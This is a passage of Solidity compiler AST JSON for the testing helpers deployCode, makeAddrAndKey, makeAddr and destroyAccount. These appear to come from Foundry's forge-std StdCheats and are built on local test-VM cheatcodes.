isibility":"internal"}],"src":"19347:14:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5248,"nodeType":"FunctionDefinition","src":"19695:390:3","nodes":[],"body":{"id":5247,"nodeType":"Block","src":"19788:297:3","nodes":[],"statements":[{"assignments":[5230],"declarations":[{"constant":false,"id":5230,"mutability":"mutable","name":"bytecode","nameLocation":"19811:8:3","nodeType":"VariableDeclaration","scope":5247,"src":"19798:21:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5229,"name":"bytes","nodeType":"ElementaryTypeName","src":"19798:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":5235,"initialValue":{"arguments":[{"id":5233,"name":"what","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5222,"src":"19833:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":5231,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"19822:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5232,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"19825:7:3","memberName":"getCode","nodeType":"MemberAccess","referencedDeclaration":12735,"src":"19822:10:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) view external returns (bytes memory)"}},"id":5234,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19822:16:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"19798:40:3"},{"AST":{"nativeSrc":"19900:81:3","nodeType":"YulBlock","src":"19900:81:3","statements":[{"nativeSrc":"19914:57:3","nodeType":"YulAssignment","src":"19914:57:3","value":{"arguments":[{"name":"val","nativeSrc":"19929:3:3","nodeType":"YulIdentifier","src":"19929:3:3"},{"arguments":[{"name":"bytecode","nativeSrc":"19938:8:3","nodeType":"YulIdentifier","src":"19938:8:3"},{"kind":"number","nativeSrc":"19948:4:3","nodeType":"YulLiteral","src":"19948:4:3","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"19934:3:3","nodeType":"YulIdentifier","src":"19934:3:3"},"nativeSrc":"19934:19:3","nodeType":"YulFunctionCall","src":"19934:19:3"},{"arguments":[{"name":"bytecode","nativeSrc":"19961:8:3","nodeType":"YulIdentifier","src":"19961:8:3"}],"functionName":{"name":"mload","nativeSrc":"19955:5:3","nodeType":"YulIdentifier","src":"19955:5:3"},"nativeSrc":"19955:15:3","nodeType":"YulFunctionCall","src":"19955:15:3"}],"functionName":{"name":"create","nativeSrc":"19922:6:3","nodeType":"YulIdentifier","src":"19922:6:3"},"nativeSrc":"19922:49:3","nodeType":"YulFunctionCall","src":"19922:49:3"},"variableNames":[{"name":"addr","nativeSrc":"19914:4:3","nodeType":"YulIdentifier","src":"19914:4:3"}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":5227,"isOffset":false,"isSlot":false,"src":"19914:4:3","valueSize":1},{"declaration":5230,"isOffset":false,"isSlot":false,"src":"19938:8:3","valueSize":1},{"declaration":5230,"isOffset":false,"isSlot":false,"src":"19961:8:3","valueSize":1},{"declaration":5224,"isOffset":false,"isSlot":false,"src":"19929:3:3","valueSize":1}],"id":5236,"nodeType":"InlineAssembly","src":"19891:90:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":5243,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5238,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5227,"src":"19999:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":5241,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"20015:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":5240,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"20007:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":5239,"name":"address","nodeType":"ElementaryTypeName","src":"20007:7:3","typeDescriptions":{}}},"id":5242,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20007:10:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"19999:18:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473206465706c6f79436f646528737472696e672c75696e74323536293a204465706c6f796d656e74206661696c65642e","id":5244,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"20019:58:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_cea3fb8155c56e1e84c027eaf19b7f987ed52f1b7ae1ee8bed46141b7ecf08d2","typeString":"literal_string \"StdCheats deployCode(string,uint256): Deployment failed.\""},"value":"StdCheats deployCode(string,uint256): Deployment failed."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_cea3fb8155c56e1e84c027eaf19b7f987ed52f1b7ae1ee8bed46141b7ecf08d2","typeString":"literal_string \"StdCheats deployCode(string,uint256): Deployment failed.\""}],"id":5237,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"19991:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":5245,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19991:87:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5246,"nodeType":"ExpressionStatement","src":"19991:87:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deployCode","nameLocation":"19704:10:3","parameters":{"id":5225,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5222,"mutability":"mutable","name":"what","nameLocation":"19729:4:3","nodeType":"VariableDeclaration","scope":5248,"src":"19715:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":5221,"name":"string","nodeType":"ElementaryTypeName","src":"19715:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":5224,"mutability":"mutable","name":"val","nameLocation":"19743:3:3","nodeType":"VariableDeclaration","scope":5248,"src":"19735:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5223,"name":"uint256","nodeType":"ElementaryTypeName","src":"19735:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"19714:33:3"},"returnParameters":{"id":5228,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5227,"mutability":"mutable","name":"addr","nameLocation":"19782:4:3","nodeType":"VariableDeclaration","scope":5248,"src":"19774:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5226,"name":"address","nodeType":"ElementaryTypeName","src":"19774:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"19773:14:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5284,"nodeType":"FunctionDefinition","src":"20158:242:3","nodes":[],"body":{"id":5283,"nodeType":"Block","src":"20262:138:3","nodes":[],"statements":[{"expression":{"id":5267,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5257,"name":"privateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5255,"src":"20272:10:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":5263,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5250,"src":"20320:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":5261,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"20303:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5262,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"20307:12:3","memberName":"encodePacked","nodeType":"MemberAccess","src":"20303:16:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":5264,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20303:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":5260,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"20293:9:3","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":5265,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20293:33:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":5259,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"20285:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":5258,"name":"uint256","nodeType":"ElementaryTypeName","src":"20285:7:3","typeDescriptions":{}}},"id":5266,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20285:42:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"20272:55:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5268,"nodeType":"ExpressionStatement","src":"20272:55:3"},{"expression":{"id":5274,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5269,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5253,"src":"20337:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":5272,"name":"privateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5255,"src":"20352:10:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5270,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"20344:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5271,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"20347:4:3","memberName":"addr","nodeType":"MemberAccess","referencedDeclaration":12514,"src":"20344:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_address_$","typeString":"function (uint256) pure external returns (address)"}},"id":5273,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20344:19:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"20337:26:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5275,"nodeType":"ExpressionStatement","src":"20337:26:3"},{"expression":{"arguments":[{"id":5279,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5253,"src":"20382:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5280,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5250,"src":"20388:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":5276,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"20373:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5278,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"20376:5:3","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"20373:8:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":5281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20373:20:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5282,"nodeType":"ExpressionStatement","src":"20373:20:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"makeAddrAndKey","nameLocation":"20167:14:3","parameters":{"id":5251,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5250,"mutability":"mutable","name":"name","nameLocation":"20196:4:3","nodeType":"VariableDeclaration","scope":5284,"src":"20182:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":5249,"name":"string","nodeType":"ElementaryTypeName","src":"20182:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"20181:20:3"},"returnParameters":{"id":5256,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5253,"mutability":"mutable","name":"addr","nameLocation":"20236:4:3","nodeType":"VariableDeclaration","scope":5284,"src":"20228:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5252,"name":"address","nodeType":"ElementaryTypeName","src":"20228:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5255,"mutability":"mutable","name":"privateKey","nameLocation":"20250:10:3","nodeType":"VariableDeclaration","scope":5284,"src":"20242:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5254,"name":"uint256","nodeType":"ElementaryTypeName","src":"20242:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"20227:34:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5299,"nodeType":"FunctionDefinition","src":"20439:125:3","nodes":[],"body":{"id":5298,"nodeType":"Block","src":"20517:47:3","nodes":[],"statements":[{"expression":{"id":5296,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"components":[{"id":5291,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5289,"src":"20528:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},null],"id":5292,"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"TupleExpression","src":"20527:7:3","typeDescriptions":{"typeIdentifier":"t_tuple$_t_address_$__$","typeString":"tuple(address,)"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":5294,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5286,"src":"20552:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":5293,"name":"makeAddrAndKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5284,"src":"20537:14:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$returns$_t_address_$_t_uint256_$","typeString":"function (string memory) returns (address,uint256)"}},"id":5295,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20537:20:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_address_$_t_uint256_$","typeString":"tuple(address,uint256)"}},"src":"20527:30:3","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5297,"nodeType":"ExpressionStatement","src":"20527:30:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"makeAddr","nameLocation":"20448:8:3","parameters":{"id":5287,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5286,"mutability":"mutable","name":"name","nameLocation":"20471:4:3","nodeType":"VariableDeclaration","scope":5299,"src":"20457:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":5285,"name":"string","nodeType":"ElementaryTypeName","src":"20457:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"20456:20:3"},"returnParameters":{"id":5290,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5289,"mutability":"mutable","name":"addr","nameLocation":"20511:4:3","nodeType":"VariableDeclaration","scope":5299,"src":"20503:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5288,"name":"address","nodeType":"ElementaryTypeName","src":"20503:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"20502:14:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5348,"nodeType":"FunctionDefinition","src":"20882:337:3","nodes":[],"body":{"id":5347,"nodeType":"Block","src":"20957:262:3","nodes":[],"statements":[{"assignments":[5307],"declarations":[{"constant":false,"id":5307,"mutability":"mutable","name":"currBalance","nameLocation":"20975:11:3","nodeType":"VariableDeclaration","scope":5347,"src":"20967:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5306,"name":"uint256","nodeType":"ElementaryTypeName","src":"20967:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":5310,"initialValue":{"expression":{"id":5308,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5301,"src":"20989:3:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5309,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"20993:7:3","memberName":"balance","nodeType":"MemberAccess","src":"20989:11:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"20967:33:3"},{"expression":{"arguments":[{"id":5314,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5301,"src":"21018:3:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":5315,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21023:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5316,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21027:6:3","memberName":"encode","nodeType":"MemberAccess","src":"21023:10:3","typeDescriptions":{"typeIdentifier":"t_function_abiencode_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":5317,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21023:12:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":5311,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"21010:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5313,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21013:4:3","memberName":"etch","nodeType":"MemberAccess","referencedDeclaration":15225,"src":"21010:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":5318,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21010:26:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5319,"nodeType":"ExpressionStatement","src":"21010:26:3"},{"expression":{"arguments":[{"id":5323,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5301,"src":"21054:3:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"30","id":5324,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"21059:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"expression":{"id":5320,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"21046:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5322,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21049:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"21046:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5325,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21046:15:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5326,"nodeType":"ExpressionStatement","src":"21046:15:3"},{"expression":{"arguments":[{"id":5330,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5301,"src":"21085:3:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5327,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"21071:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5329,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21074:10:3","memberName":"resetNonce","nodeType":"MemberAccess","referencedDeclaration":15357,"src":"21071:13:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":5331,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21071:18:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5332,"nodeType":"ExpressionStatement","src":"21071:18:3"},{"assignments":[5334],"declarations":[{"constant":false,"id":5334,"mutability":"mutable","name":"beneficiaryBalance","nameLocation":"21108:18:3","nodeType":"VariableDeclaration","scope":5347,"src":"21100:26:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5333,"name":"uint256","nodeType":"ElementaryTypeName","src":"21100:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":5337,"initialValue":{"expression":{"id":5335,"name":"beneficiary","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5303,"src":"21129:11:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5336,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21141:7:3","memberName":"balance","nodeType":"MemberAccess","src":"21129:19:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"21100:48:3"},{"expression":{"arguments":[{"id":5341,"name":"beneficiary","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5303,"src":"21166:11:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5344,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5342,"name":"currBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5307,"src":"21179:11:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":5343,"name":"beneficiaryBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5334,"src":"21193:18:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"21179:32:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5338,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"21158:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5340,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21161:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"21158:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5345,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21158:54:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5346,"nodeType":"ExpressionStatement","src":"21158:54:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"destroyAccount","nameLocation":"20891:14:3","parameters":{"id":5304,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5301,"mutability":"mutable","name":"who","nameLocation":"20914:3:3","nodeType":"VariableDeclaration","scope":5348,"src":"20906:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5300,"name":"address","nodeType":"ElementaryTypeName","src":"20906:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5303,"mutability":"mutable","name":"beneficiary","nameLocation":"20927:11:3","nodeType":"VariableDeclaration","scope":5348,"src":"20919:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5302,"name":"address","nodeType":"ElementaryTypeName","src":"20919:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"20905:34:3"},"returnParameters":{"id":5305,"nodeType":"ParameterList","parameters":[],"src":"20957:0:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5368,"nodeType":"FunctionDefinition","src":"21317:158:3","nodes":[],"body":{"id":5367,"nodeType":"Block","src":"21408:67:3","nodes":[],"statements":[{"expression":{"id":5365,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"components":[{"expression":{"id":5356,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5354,"src":"21419:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Account_$